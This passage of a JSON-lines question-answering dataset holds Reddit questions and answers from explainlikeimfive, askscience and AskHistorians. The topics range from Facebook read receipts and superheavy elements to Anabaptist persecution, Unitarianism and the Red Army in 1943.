*\"\u0421\u0442\u043e \u0442\u044b\u0441\u044f\u0447 \u043f\u043e\u0434\u0440\u0443\u0433 - \u043d\u0430 \u0442\u0440\u0430\u043a\u0442\u043e\u0440!\"*) \n\n* women rights advancement: women took many high-ranking positions - Collontay, women pilots [Raskova](_URL_1_), [Osipenko](_URL_9_), [Grizodubova](_URL_12_) were achieving new records in aviation and just as popular as Chkalov\n\n* education: rapid expansion of universities and public education - new, huge buildings for Moscow State University, Kharkov State University\n\n* elimination of chronic poverty, crime ghettos and \"street orphans\": [Makarenko](_URL_14_), [Sukhomlinsky](_URL_15_). \n\nIt's really hard to separated purely negative from positive, it was all intertwined (e.g. Stakhanov achievements were fudged, Pasha Angelina died from alcohol abuse, Chkalov died when new fighter plane I-185 he was testing broke down etc.), but general attitude was optimistic and youth was extremely loyal to USSR.\n\n**Sources**\n\n1. [Photos: Life in USSR in 30-40s](_URL_4_)\n\n2. [Photos: Life in USSR, from private albums](_URL_2_)\n\n3. [Photos: life in USSR, 50-80s](_URL_10_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=wUnZqtcrOlI"], ["http://en.wikipedia.org/wiki/The_All-Joking,_All-Drunken_Synod_of_Fools_and_Jesters", "http://en.wikipedia.org/wiki/The_Tale_of_Frol_Skobeev"], ["http://en.wikipedia.org/wiki/Komsomolsk-on-Amur", "http://en.wikipedia.org/wiki/Marina_Raskova", "http://ussrlife.blogspot.com/2012/12/30-50.html", "http://en.wikipedia.org/wiki/Umberto_Nobile", "http://russkii-krest.livejournal.com/16248.html", "http://en.wikipedia.org/wiki/Novokuznetsk", "http://en.wikipedia.org/wiki/Turkestan%E2%80%93Siberia_Railway", "http://en.wikipedia.org/wiki/Pasha_Angelina", "http://en.wikipedia.org/wiki/Valery_Chkalov", "http://en.wikipedia.org/wiki/Polina_Osipenko", "http://www.vintag.es/2011/12/last-30-years-soviet-union-in-photos.html", "http://en.wikipedia.org/wiki/Alexey_Stakhanov", "http://en.wikipedia.org/wiki/Valentina_Grizodubova", "http://en.wikipedia.org/wiki/SS_Chelyuskin", "http://en.wikipedia.org/wiki/Anton_Makarenko", "http://en.wikipedia.org/wiki/Vasyl_Sukhomlynsky", "http://en.wikipedia.org/wiki/Northern_Sea_Route", "http://en.wikipedia.org/wiki/Drifting_ice_station", "http://en.wikipedia.org/wiki/Dnieper_Hydroelectric_Station", "http://en.wikipedia.org/wiki/Magnitogorsk_Iron_and_Steel_Works", "http://en.wikipedia.org/wiki/Georgy_Baydukov", "http://en.wikipedia.org/wiki/Alexander_Vasilyevich_Belyakov"]]}
{"q_id": "14lp7p", "title": "how does the \"seen at\" feature on facebook messages work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14lp7p/eli5_how_does_the_seen_at_feature_on_facebook/", "answers": {"a_id": ["c7e7wgj", "c7edpip"], "score": [4, 3], "text": ["I assume that it works the same as read receipts in emails. \n\nBasically, once a message is detected as being opened, Facebook assumes it has been seen and thus alerts the sender.", "This may be a bit of an over simplification, but think of it like a small family restaurant. I give my order, the waiter puts it in queque for the chef to make. Once the chef see's my order he makes it, puts the slip on my plate as a confirmation that he's made my order, and rings his bell. The server then brings the plate to me. \n\nEssentially what is going on with facebook is you send a message, and your friend gets the message, but once he clicks in the chat box, a javascript checks that you are focused on that object and sends a script to modify Facebook's database, which then lets you know your friend has seen your message. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8ocnqh", "title": "why do some cobs of corn have random kernels instead of the normal rows?", "selftext": "[an example that inspired the question.](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8ocnqh/eli5_why_do_some_cobs_of_corn_have_random_kernels/", "answers": {"a_id": ["e02r9dk"], "score": [2], "text": ["Selective breeding put the corn kernels in straight rows, but some varieties are still irregular. [This page explains some of the history of corn.](_URL_0_) Maize was selected from the wild teosinte plant. The top picture of corn cobs from archaeological sites shows regular rows were around early. The bottom picture shows many varieties have regular rows, but a few are still irregular."]}, "title_urls": [], "selftext_urls": ["https://www.imgur.com/gallery/YNcihET"], "answers_urls": [["http://learn.genetics.utah.edu/content/selection/corn/"]]}
{"q_id": "p1f6l", "title": "Could reddit be as addictive as a substance? Can one simply be addicted to stimulating the reward center of the brain?", "selftext": "I have had issues for the past while staying focused, adhering to responsibilities, and focusing on tasks that do not immediately give me satisfaction and fulfillment. Very recently, I have done some research on dopamine's role in the functions of the brain and from what I gather, I think I may have a generalized addiction to dopamine itself. \n\nI have read some research on drugs and why some are more addictive than others, and it seems to come down to their effective use of [dopamine to stimulate the brain's pleasure center.](_URL_1_) It also seems like there is a correlation between the magnitude of this stimulation and how much the said drug messes with your life, (ie meth addiction makes you not give a shit about anything or anyone else) because your brain makes the drug a higher priority than other things that don't provide as much reward, sometimes higher than food and basic physiological needs.\n\nI also have done some research on how the internet stimulates your brain. (haven't we all) But in all seriousness, there isn't a ton out there to explain exactly how much dopamine is being released in your brain when browsing a site like reddit, playing video games, or [watching porn.](_URL_0_) Because novelty and primal need satisfaction both are large natural sources of dopamine release, it would seem that browsing internet porn would be a massive surge. I am part of the first generation to have unlimited access to the sights and sounds of female genitalia from the time puberty came knocking, and I have yet to see a study on levels of needed sexual stimulation of 20 year olds today compared to 30 years ago, but I have to imagine the instance frequency of premature ejaculations has gone down...\n\nIs it possible that something like reddit is actually *bad* for you? Could it actually act very similarly to a drug, providing lots of novelty and high quality stimulus to the reward center of the brain and thus overloading the brain over a short period of time with dopamine, shutting down some receptors and causing addiction? \n\nIf nothing else I would like any good information about dopamine and the roles and functions of the reward center of the brain as it relates to every day life and the internet. I won't give you a **TL;DR**, because that is just enabling your insatiable need for quick novelty.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/p1f6l/could_reddit_be_as_addictive_as_a_substance_can/", "answers": {"a_id": ["c3lpyuc"], "score": [4], "text": ["Dr. Norman Doidge talks about this is The Brain That Changes Itself (A really nice book about neuroplasticity that explains it in farily easy terms). There's a chapter about porn addiction but he also talks about how your brain adjusts to its need for stimulation, based on how much it's being stimulated. He argues that children who are overstimulated when young, will train their brains to need a higher degree of stimulation to become aroused (in the physiological sense - I don't mean erections). So, in that sense, having access to constant stimulation, does change your need for it. However, I think this argument has some circularity to it (Children with a higher demand for arousal will seek out more provocative activities). \n\nIn regards to whether one can be addicted to stimulating the reward centre of the brain, the best analogy is gambling. Pokies machines (not sure if that's a universal term) are designed to give you constant stimulation; flashing lights, small wins etc. to get you addicted to the surge of dopamine that you now associate with playing. You're not chemically addicted in the same sense you are with meth but it's certainly a dangerous addiction."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=fxrG6QZ-G0M", "http://2.bp.blogspot.com/-9p9o4aPBtz0/TbztK9WjjBI/AAAAAAAAAAk/mrG1Xm2pwzY/s1600/dopa.jpg"], "answers_urls": [[]]}
{"q_id": "6eoj6c", "title": "why do all ancient egyptian drawings use the same style with subjects heads looking to the side?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6eoj6c/eli5_why_do_all_ancient_egyptian_drawings_use_the/", "answers": {"a_id": ["dibswxj", "dibvlxf", "dibvof5", "diciobf"], "score": [2, 2, 3, 2], "text": ["Artists didn't use shading techniques and everything was extremely 2D, so rendering a realistic-looking face (particularly a nose) in front view was rather hard. Most aesthetic choices in hieroglyphics are a matter of simplicity. Feet are easier to draw sideways, so that's what they did, the torso was done in front view so that both arms could be visible, and so on. The nose was easier to portray with a profile, hence, they did profiles.", "Hardly an Egyptologist here, but I would imagine there weren't even more than a few people creating the art in any given year.  Ancient world just had far fewer people, and the bulk of the masses were not educated or trained in anything other than subsistence methods.  Furthermore, most people who did get trained to read, write, or illustrate were also of a religious ruling class, and their work was inseparable from sacred rituals .  Artists were probably directly trained by their predecessors to be consistent with what came before because it is sacred.  ", "I love art history, it's been a while since I studied this subject but I'll explain to the best of my memory:\n\nThere are a couple of reasons, one major one being that the drawings interacted with heiroglyphs in such a way that they were sort of their own writing system. The drawings weren't intended to be art, they needed to be streamlined and consistent to be readable.\n\nAnother reason is that they drew based on the simplest and most recognizable traits. Shoulders always faced front, heads, legs and buttocks were always sideways. \n\nPerspective in paintings didn't become popular until the European renaissance in the 1400's. The first known example being from 1423, a painting of St Peter by Masolino de Panicale. There was depth to the subjects of paintings before this, but the overall image was flat and lacked perspective, instead the emphasis was on making religious figures large and emphasized regardless of their placement.", "It is due to the limitations of a 2-D surface but their desire to produce an image that is \"magically\" correct for their religion, portraying as much of a person as possible.\n\n So, they needed to make sure a nose sticks out so they need to do a profile.  But look at the eye, it's a view of an eye form the front so it can work as an eye.  It needed to be quite clear there were 2 shoulders.  2 legs.\n\nHere is a nice article:\n\n_URL_0_\n\n\nNote also, Egyptian paintings and carvings were formulaic and idealized, but their statues are 3d and perfect proportioned."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.shira.net/culture/kemetic-2d-art.htm"]]}
{"q_id": "6bfnj2", "title": "Why do we care about the heavy elements like 119 and 120 that decay in like .00002 seconds? What could we possibly use it for?", "selftext": "why do we care tho? to prove we can?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6bfnj2/why_do_we_care_about_the_heavy_elements_like_119/", "answers": {"a_id": ["dhmgh8j", "dhmj001", "dhmj9pq", "dhmmvf7", "dhmodpt", "dhmrw62", "dhms18q", "dhmy82n", "dhn0io5"], "score": [82, 26, 10, 2, 3, 3, 2, 5, 2], "text": ["Producing and studying them allows us to constrain theoretical models of nuclear structure, and possibly atomic structure as well.\n\nThere are around 3000 known nuclear species and about 7000 predicted to exist. Many of these 4000 undiscovered nuclides are either producible using existing technology, or will be within the next few years.\n\nWhy *shouldn't* we study them?", "We want to confirm the laws of physics as we understand them. Say we are looking for 119. Our models will give us an idea of that that nuclei will look like. The geometry of the nuclei is very important in understanding and calculating the energy of an emitted particle. So we make predictions about the alpha decay energy and we hope that the alpha particle from a decaying 119 will actually have that energy. If it does, or model is confirmed and hurray, if not it's back to the drawing board. Often somewhere in the middle. ", "Aside from the practical reasons of better understanding physics, it's also because scientists are curious--as with every other topic in what's known as \"Basic\" science. Basic scientists investigate things because they're interested in them, not for a specific application. That's not to say that there won't be applications--practical applications for the results of basic research often are discovered after the fact.", "Pure science doesn't have to have an application, and can lead to breakthroughs in related areas. Sometimes, however, an application is discovered much later, and would never have been discovered had it not been for the earlier work done.", "For a given atomic weight, what is the impact of atomic identity on stability?  For example, nitrogen-14 is (I'm assuming) stable while carbon-14 is not.  Is there a sweet spot of proton-neutron ratio that impacts stability?", "Knowledge is it's own reward.", "What about everyday life applications? Would confirming the model change the average joe's life in any way.\n\nP.S I'm an average joe who knows next to nothing about advanced sciences. Also what is this model you guys speak of?", "I don't think saying \"why shouldn't we do this\" is a satisfying answer to the question.\n\nThe more honest answer is usually, \"we don't know.\n\nWe study and gain an understanding of the world, but can't always predict where that knowledge will be used.\n\nI doubt Rutherford thought his investigations into the atom would have resulted in TVs.\n\nSpace docking has applications in laser eye surgery.  \n\nKnowledge broadens our tool set and improves lives in unexpected ways.", "In addition to all of the answers given here, we are also trying to see if there exists an \"island of stability\". This is a hypothetical set of high-atomic-number nuclides that would be relatively stable. Such elements could have interesting uses, and at the very least give us a new avenue to explore and learn."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "ace1yg", "title": "have any adventure tv shows that claim to investigate past events or find rare animals ever actually contribute to new information?", "selftext": "There a lot of shows on the History channel or Travel channel that try to uncover past secrets of some ancient society. Or maybe it\u2019s about finding out whether the Nazi\u2019s built a nuke, or how the Vikings visited Boston, an unknown animal that bothers a town, etc, etc.\n\nHave any of these shows actually contributed any significant scientific or historical information? \n\nTo me, it seems like a constant rehashing of known facts. Usually it just seems like fluff, are there any shows that actually uncover something?\n\n\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ace1yg/eli5_have_any_adventure_tv_shows_that_claim_to/", "answers": {"a_id": ["ed77kzy", "ed78htv", "ed78iky"], "score": [5, 3, 3], "text": ["Not a one. All the content is based on published papers by the REAL scientists who go and find the data. None of them present anything new. They will sometimes provide the first FOOTAGE of something never filmed before, but was known about.", "They have found some artifacts on the oak island show. One episode they found a templar cross from i think the 1300s.", "Actually a lot of the shows are sensationalized and taken out of context to fit a tv narrative. Go look up the skeptoid podcast and find some real cool facts about history and current events."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2xo8q8", "title": "Why did everyone hate Anabaptists?", "selftext": "Anabaptists in the 16th century were persecuted by both Protestants and Catholics. In 1529, at the Diet of Speyer, the Anabaptist Mandate reanimated the old *Codex Justinianus*, which declared that anyone who rejected infant baptism would be put to death. Was it the doctrine that was so taboo? Or was it the activities of the people who believed it which tainted the doctrine by association?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2xo8q8/why_did_everyone_hate_anabaptists/", "answers": {"a_id": ["cp22f0w", "cp23psd", "cp25l60", "cp2dvbd"], "score": [20, 334, 84, 29], "text": ["Just posting a reminder that every answer that does not provide a clear answer to the question (why they were so prosecuted) will be deleted, including posts that just summarize anabaptist beliefs or practices, or are just descriptions of particular events.", "Most of this is taken from Reformation Europe by G.R Elton:\n\nSo, once Zwingli initiated reforms in Zurich, the Anabaptists seem to have appeared quite soon after. Based on the ideas Conrad Grebel, the Anabaptists believed that only an adult (not a child) could surrender their sinful nature and choose Christ.\n\nThey elected their own pastors and since they were already \"saved\" and perceived themselves to be saints on earth, they were no longer required to follow laws or magistrates. To the Anabaptists, the secular law makers were 'God's government for sinners'.\n\nThey were to have nothing to do with civil government (what they called the sword), must not bear arms, swear oaths, carry out the duties of citizens or take part in government. They were not to obey civil dictates, but as they were saved they must follow the teachings of Christ and not get drunk and orgy up all over Switzerland.\n\nThe end result was a group of extremists who believed that the civil government was not required. This of course put the wind up everyone in a position of power as it sounded terrifyingly close to free will. I guess it was no surprise that everyone and their vicars went after them.", "Allow me to remind everyone that Dan Carlin is **not** an accepted source in this subreddit and any links to his podcasts or any answers using him as a base for an answer will be deleted on sight.", "So, first off, we can't look at Anabaptists over the 16th c. as one cohesive unit- or even argue that the movement stemmed from one genesis point. There were numerous different groups that sprung up in different geographic areas. This theory for the multiplicity of origins in the movement is termed \"polygenesis.\" \n\nBecause of the variety that existed in the movement, we get confusion, and hatred being attributed to all Anabaptists because of the practices of certain groups (ie what went down in M\u00fcnster in 1534). So the M\u00fcnster indecent occurred, when a group of Anabaptists, convinced that the end times had come chose to use violence to establish the new Jerusalem on earth. Led by Jan Matthys (from Haarlem in Holland) and Jan van Leyden, they baptized people by force, they adopted polygamy, and began killing anyone who resisted. They drove all non-Anabaptists from the city and started a bloody and brutal rule. \n\nThe leaders of the movement declared that Christ's Kingdom had come, and many Anabaptists from other areas came to the city in hope- but, the Catholics in the area would have none of this violent-polygamous nonsense. They besieged Munster. Evenetually, the Catholic forces crushed the city and its resistance. Mattys and van Leyden were captured.  They were tortured and executed, and their bodies were hung in iron cages--- which were toured across the country- to show all other Anabaptists who may have had the idea to start their own New Jerusalem what failing would entail. It was also to spread the message of how dangerous these Anabaptists \"really\" were.\n\n These iron cages were then hung St. Lambert's church in M\u00fcnster (you can see recreations of them still there today). \n\nSo this event scared the crap out of local rulers- not only could Anabaptists be religiously deviant- but they could also be politically deviant. These ones at Munster went so far as to try and begin their own city-state. This resulted in a lot of violent backlash against Anabaptists (who had already been getting it for being religiously deviant). \n\nOther Anabaptist leaders immediately condemned the actions of the Munster Anabaptists- it was around this time that leaders like Menno Simons (from whom Mennonites get their name) started stressing that the M\u00fcnsterites did not follow true Anabaptist ideals- like love, peace, separation of church and state, etc. The movement began to solidify in the mid 16th c., and Munster was cited as a deviant group- a mistake, not in line with real Anabaptist ideals. \n\nBut- even the more peaceable Anabaptists suffered because of assocation with M\u00fcnster.\n\nFor non-M\u00fcnster Anabaptists, the stress on separation of church and state is what got them into trouble as well. They were believed to be seditious, and it was thought they could not be loyal/proper citizens because of it.\n \nI hope that helped!\nTLDR; People hated them because of the M\u00fcnster incident in 1534 gave Anabaptists a bad name all over, and belief in separation of church/state made rulers believe them to be seditious. Also propaganda helped with the hate/fear mongering.    \n\nPlease don't forget, simple religious unorthodoxy had been enough to get people tortured/killed/hunted for a long time in Europe before the Anabaptists. In the grand scheme of things... sadly not all that surprising. \n\n\n\n\nSources:\nC. Arnold Snyder. Anabaptist History and Theology. Pandora Press, Kitchener ON, 1997. \n\nHarry Loewen and Steven Nolt with Carol Duerksen and Elwood Yoder. Through Fire  &  Water: An Overview of Mennonite History. Herald Press; Waterloo, 1996. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "qy8tg", "title": "unitarianism", "selftext": "What is the core set of beliefs Unitarians share? What is a Unitarian church sermon like? Are the people within the church typically educated, or wealthy, or anything like that? What else can you tell me about Unitarians?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/qy8tg/eli5_unitarianism/", "answers": {"a_id": ["c41g83a", "c41gk1n", "c41h9do", "c41ienv"], "score": [8, 30, 8, 8], "text": ["This is a bit complex.  The term 'Unitarianism' by itself refers to a particular theological philosophy, but there is also a church called 'Universal Unitarianism' which is a somewhat different thing altogether.\n\nUnitarianism, as a theology, is the belief that there is just god and that's it!  In contrast to the more widespread Trinitarianism, which believes in a holy trinity of god the father, god the son (Jesus), and god the holy spirit.   Unitarians believe just in god, without saying that god has these parts.  As a result they believe Jesus Christ was a very wise and possibly divinely inspired human being, but still just a human being.\n\nThe Unitarian Universalist church I'm afraid I can't talk much about, because I don't understand their beliefs that well!", "I attended a Unitarian Universalist church for a while. The Sunday service is similar to a Christian service except that no belief in God is assumed. The readings and sermon focus on everyday morality and lessons from great thinkers from all of the world's major religions - and from atheists.\n\nThe UU church is very welcoming of people with all sorts of beliefs, pretty much the only thing they really care about is that you're open-minded, respectful and tolerant of others. It's a great fit for people who enjoy the music, the moral lessons, and the sense of community of church services, but don't care for the whole Jesus and bible thing.\n\nMy impression is that most UU's believe in some sort of God, but not an active God that's interfering in the world. They're very liberal overall - they support gay marriage, for example. I don't think the majority are atheists, but many are agnostics, and they're very welcoming of atheists.\n", "Check out the \"[elevator speeches](_URL_0_).\"  Unitarians struggle with how to define their organization simply.\n\nUnitarians I've met tend to be very liberal.  I don't know demographics, but I get the impression \"Where did you go to college?\" is asked more than \"Did you go to college?\"\n\nFun UU facts:\n4-5 US Presidents were Unitarians (depending upon who you ask about Jefferson).\n\n\"It Came Upon the Midnight Clear\" is an anti-slavery Christmas song written by a Unitarian.  It is one of the rare Christmas songs commonly sung to not mention Christ or Santa Claus.\n\nThe Chalice emblem was created by the US Unitarian Service Committee as a vaguely-Christian logo to help them move freely as a religious institution while escorting refugees from Nazi-occupied territory.", "Unitarian here!  Second generation actually.  Shared beliefs include respecting anyone else's religious (or lack of religious) views, being interested in global roots and traditions of many religions and cultures, accepting gays and other \"polarizing\" groups that might be stigmatized by some religions, believing in the good of humanity, loving our earth, promoting women's rights, etc.\n\nSome interesting things:\n\nwe don't have bibles in the pew pew pews, but usually a UU hymnal.\n\nour symbol is a flaming chalice, double rings with a flame in the center\n\nmy church had a pulpit with many of the symbols of the worlds larger religions represented\n\nmany people believe in a pastiche of religious traditions, maybe believing that Jesus was a inspiring and spiritual religious leader with a lot of wisdom, but also believing that reincarnation makes the most sense\n\nsermons are very philosophical, but also quote and discuss religious traditions as needed.  we have a beautiful Christmas Eve service.  Sermons often discuss current events and their human connections.\n\na criticism I have is that sermons can be kinda boring.  I also think our church needs to figure out how to better connect to a younger generation.  congregations can also be very homogenous, generally more educated, (also a lot of \"white\" ppl) BUT, lots of different economic levels."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.uuworld.org/2003/06/affirmations.html"], []]}
{"q_id": "1ib6kd", "title": "In the early United States, who were among the first in tobacco trade? (Import/Export/Cultivation)", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ib6kd/in_the_early_united_states_who_were_among_the/", "answers": {"a_id": ["cb2rce4"], "score": [3], "text": ["Tobacco production in what became the continental United States began in Virginia. John Rolfe is generally attributed with beginning tobacco cultivation for trade in the Jamestown colony in 1611. The emergence of tobacco as a cash crop saved the seriously struggling colony as most inhabitants planted very small plots (about the size of a small suburban home garden). In 1617, Virginia shipped 20,000 pounds of tobacco to England; Jamestown had become a veritable boom town due to the tobacco trade. Despite volatility regarding prices throughout the rest of the century, the desire for land for tobacco cultivation led to the rise of larger and larger land grants which turned into the plantations of the eighteenth century. The growth in the tobacco trade, along with other factors, also made the switch from a labor force of primarily European indentured servants to one that was largely made up of African slaves. For the best work that deals with the dynamic described above, see Edmund Morgan's \"American Slavery, American Freedom\" (1975)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1dbcoy", "title": "Panthalassa was the giant, planet wide, ocean surrounding Pangaea. What effects would a giant ocean have on the weather?", "selftext": "I know a bit about current meteorology patterns, but struggling to wrap my head around this. Is this the same time as the Great Unconformity? Lots of extreme weather?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1dbcoy/panthalassa_was_the_giant_planet_wide_ocean/", "answers": {"a_id": ["c9op556", "c9otfux", "c9owc2b", "c9ownlz", "c9oxn74", "c9p202o"], "score": [143, 33, 24, 6, 13, 3], "text": [" > Is this the same time as the Great Unconformity?\n\nNo.\n\n > Lots of extreme weather?\n\nYes.  Severe annual seasonality, severe aridity in the tropics, and probably severe decadal/multidecadal climate oscillations (think severe El Nino).  This system is called the [Pangean megamonsoon](_URL_0_) and probably shaped terrestrial fauna and flora in really pervasive ways that persist even today.", "What would this do to tidal forces?", "I know this is slightly off topic, but do we have any way of knowing how one giant ocean affected marine life at the time, with things such as migration? Current ocean patterns for marine animals as far as I'm aware tend to follow paths dictated by the continents, would no such thing be possible in Panthalassa?", "Depending on where the land was at the time, It could have had a substantial effect on the thermohaline cycle.  Especially if there was lots of continental material at the pole(s)\n\nUpwelling and downwelling would be very pronounced given that Pangaea was a big strip of land extending N-S. I don't know what the wind patterns were like back then....  \n\nWaves could be huge due to the very large fetch of the ocean.  ", "Why was there ever \"land\" in the first place in stead of a planet covered in water, and why all in one specific region of the planet (1 supercontinent)? \n\nIs it because the planet is lop-sided, or something? ", "On a related note, are there any indicators that there wasn't an ante-pangaea on the other side of the planet? I mean, sea level indicators or something."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Pangean_megamonsoon"], [], [], [], [], []]}
{"q_id": "3jcfge", "title": "how stress on craft works in space.", "selftext": "I'm a novice writer, but firstly an avid thinker, and this is something I've often wondered about: how does stree induced by thrusters impact on a spacecraft? ie. Turning, avoiding fire etc.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3jcfge/eli5_how_stress_on_craft_works_in_space/", "answers": {"a_id": ["cuo3ipb", "cuoazv3"], "score": [5, 2], "text": ["I'm assuming your talking about fictional combat spacecraft, going off your last line? I'll do my best to answer.\n\nBasically, the thrust from a rocket engine pushes against the engine bell of the rocket. Im afraid I don't know the distribution of force across said engine bell, but the engine bell is built to stand it, so that isn't a problem.\n\nThe engine bell is attached to the fuel pumps. Exactly how this is done depends on how/if the engine has thrust vectoring. If it does there are two options. The link to the pump could be flexible, and the nozzle moved and supported by hydronic actuators. Alternatively there could be a fixed like to the pump, and the whole assembly moved by actuators. Of no vectoring at all, then just simple bolt/weld attachments at all points.\n\nThe structure is probably built similar to a role cage, capable of supporting the rocket under the maximum acceleration of the spacecraft. This frame holds up the fuel tanks. Alternatively the fuel tanks could be the structure themselves, like an inflated bloon. This obviously request a reasonable preasure to be maintained throughout flight, normally by back filling with helium (you need to do this on any fuel tank, but not as much).\n\nHope that helps.  ", "I am not sure i'm on the same line of thinking (because your talking about crafts and not people) but i've always wondered about that scene in [\"Armageddon,\"](_URL_0_) when they do the sling shot move around the moon pushing IDK how many G's, would it be as exaggerated as they showed it? I understand that the gravity from the moon would be taken into account but would it have affected them (and by default the ship) that much?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/X_8ILn5kdBo?t=17"]]}
{"q_id": "1ju83v", "title": "It's 1943. Without the use of overwhelming numbers, was the Red Army capable of going toe-to-toe with the Wehrmacht?", "selftext": "Whenever I read or hear about the history on the Eastern front, it always reads out as the Soviets only ever winning because they just swamped the Germans with men until they crushed them with numbers. but in '43, if you took two similarly sized Soviet and German forces, would the Soviets stand a chance without the help of their crushing numerical superiority?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ju83v/its_1943_without_the_use_of_overwhelming_numbers/", "answers": {"a_id": ["cbicerb"], "score": [5], "text": [" > Whenever I read or hear about the history on the Eastern front, it always reads out as the Soviets only ever winning because they just swamped the Germans with men until they crushed them with numbers. but in '43, if you took two similarly sized Soviet and German forces, would the Soviets stand a chance without the help of their crushing numerical superiority?\n\nYes, what you're hearing is German propaganda being repeated ad nauseum.  The Red Army never really had 'crushing numerical superiority', which is also a relative phrase/term.  Somehow the fact that the Germans outnumbered their opponents at critical points in the line is left out of the equation.  The only reason the Red Army was able to achieve high ratios against the Wehrmacht is because other, quieter, sectors of the front were left with depleted forces while those on the main direction of offensive operations were brought up to strength and reinforced.  This is done on a regular basis by all forces.\n\nThe superiority the Wehrmacht created in their breakthrough positions against Red Army defenders was at times so large that defensive lines simply ceased to exist.  Here are some examples:\n\n* On the eve of the German invasion the 4th Army, under the command of Major General A. A. Korobkov, had at its disposal 7 divisions with close to 68,700 men, 478 tanks, 1,611 artillery and mortars and 500 planes.  The German forces that opposed him from Army Group Center contained 20.5 divisions, 325,900 men, 823 tanks, 5,898 artillery and mortars, and 1000 planes.  In divisions the Red Army was outnumbered 2.9:1, but in strength 4.7:1.  \n\n* On June 22 the Germans attacked the 3rd Army under Lieutenant-General V. I. Kuznetsov, which was assigned to hold the right flank of the Western front, with three divisions of the German VIII Corps attacking the lone 56th rifle division, which would be forced to retreat and fall back to the south-east.  \n\n* The 212th Rifle Regiment in the Soviet fourth Army area faced the German 4th Army Corps.  \n\n* Colonel-General L. M. Sandalov reported that the lone 15th Rifle Regiment was fighting against two German divisions.  \n\n* The 6th and the 42nd Rifle Divisions were attacked by 3-4 German divisions with tank support and the lone 22nd Tank division was attacked by 2 German infantry divisions.\n\n* As General I. V. Boldin was being briefed by Major-General K. D. Golubev, commander of the 10th Army, it was discovered that against a sole 5th Rifle Corps of the 10th Army the Germans had thrown into battle three of their Corps with tank support.\n\nMore examples can readily be found, yet no one talks about the Germans outnumbering their opponents in 1941 when discussing their invasion of the Soviet Union.\n\nBut your question is impossible to truly address as it deals with a 'what if' scenario that hardly ever materialized on the field of battle.  Given enough intelligence, a talented command staff, well trained troops with enough equipment and an organized logistical tail, anything can be achieved. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "604epn", "title": "if singers can perform others' songs, why can't comedians use jokes from others?", "selftext": "With proper acknowledgement, like in the beginning of the act the comedian would explain there will be jokes from others, maybe even list the originator of the joke.\nAfter all, I just want to be entertained, do I really care from whom the joke came from specially if I never heard it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/604epn/eli5_if_singers_can_perform_others_songs_why_cant/", "answers": {"a_id": ["df3ct08", "df3czoy", "df3dlw1", "df415cy"], "score": [2, 38, 8, 2], "text": ["the sound of the voice is an important part of a song so someone else singing it can almost be considered a different song (especially if they put their own spin on it). and almost every cover gives credit to the original, while many repeated jokes are treated as original creations", "When a singer performs another person's song in public, or records and releases that recording to the public, the songwriter not only gets written credit but also gets payments over time at rates based upon the sales of that recording or performance.\n\nWhen an honest comedian uses other comedian's jokes, the honest comedian has purchased the right to perform those jokes. Nearly every comedian has purchased jokes, and most will tell you where they came from if asked.\n\nMost recent discussion has been about a female comedian who did not purchase the rights to some jokes, and then used them in a performance AND made money from that performance. That's the problem.", "When singers do covers or sample, they pay to do so. When they don't pay, courts generally have an easy time backing up the creator.\n\nJokes are harder to quantify in monetary terms and originality terms than music. So it's much harder to bring a case against someone who has stolen jokes and also be worth it to the plaintiff.\n\nSo, it is just frowned upon and looked very badly upon in the comedic community.", "Many people have explained the copyright /royalties angle, but there's another element to this. \n\nWhen a singer does a cover version of someone else's song, theyre not pretending that they wrote or came up with the song, theyre not passing someone else's work as their own, they're making their own interpretation of someone else's lyrics. \n\nA comedian passing someone else's joke as their own is not doing the same thing. Sure, performance is an element of comedy, but a bad joke is bad, and a good joke is usually good. You take someones good joke and pretend its your joke, you're creating the impression that you're the original creator. \n\nIf you take someone else's stuff, you deny them the possession of their joke. That's a deeply personal slight to any comedian. People don't like having their stuff stolen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
